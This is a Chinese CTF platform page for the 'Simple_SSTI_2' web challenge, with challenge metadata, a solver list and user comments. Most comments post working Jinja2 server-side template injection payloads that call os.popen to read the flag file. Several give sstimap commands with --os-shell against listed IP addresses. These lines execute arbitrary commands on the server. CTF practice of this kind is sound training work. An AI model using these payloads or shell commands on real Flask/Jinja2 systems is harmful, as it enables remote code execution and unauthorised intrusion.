Simple_SSTI_2WEB 未解决

分数: 10 金币: 3
题目作者: valecalida
一  血: Tokeii
一血奖励: 3金币
解  决: 16634
提  示:
描  述:
Simple_SSTI_2
评论
Terrenc44 29天前

http://160.202.254.160:18660/?flag={{lipsum.__globals__['os'].popen('cat flag').read()}}

回复 0

WWls= 1月前

fenjing一把嗦

回复 0

icyskin 1月前

sstimap -u http://160.202.254.160:19762/?flag=1 --os-shell -e Jinja2 echo $FLAG

回复 0

icyskin 1月前

http://160.202.254.160:19762/?flag={{url_for.__globals__[%27os%27].popen(%27cat%20/app/flag%27).read()}}

回复 0

suxiansheng 3月前

详解参考https://mp.csdn.net/mp_blog/creation/editor/161513397

回复 0

pipizhu 3月前

?flag={{lipsum.__globals__['os'].popen('cat /app/flag').read()}}获取flag

回复 0

bugku2026 5月前

先通过?flag={{self.__dict__}}发现拥有lipsum,再通过?flag={{lipsum.__globals__.os.popen("cat /app/flag").read()}}获取flag

回复 1

r1ng_13 5月前

焚靖直接秒,比上一个SSTI还简单

回复 1

网恋秀牛子被录屏导致自卑 8月前

/?flag={{(OvO.__eq__.__globals__.sys.modules.os.popen('cat flag')).read()}}

回复 1

liutong27 12月前

python3 sstimap.py -u http://117.72.52.127:12369/?flag=1 --os-shell

回复 1

WriteUp

image
valecalida

5 金币

评分(15)

解题动态

觅星信差 攻破了该题 8小时前
konbu 攻破了该题 1天前
耶时候搜索 攻破了该题 3天前
zhzuo 攻破了该题 4天前
willow 攻破了该题 4天前
布蕾脆脆奶芙 攻破了该题 6天前
226677 攻破了该题 7天前
Apricityyy 攻破了该题 10天前
lixing123 攻破了该题 10天前
jvfnvd.vl 攻破了该题 12天前
whshkdh 攻破了该题 12天前
雲边有棵面包树 攻破了该题 12天前
niubill 攻破了该题 12天前
i8vkmmju 攻破了该题 14天前
FanHuaJie 攻破了该题 15天前
C0oola 攻破了该题 15天前
laotouzi 攻破了该题 17天前
zrlht 攻破了该题 20天前
TohsakaRin 攻破了该题 20天前
C071 攻破了该题 22天前
问题反馈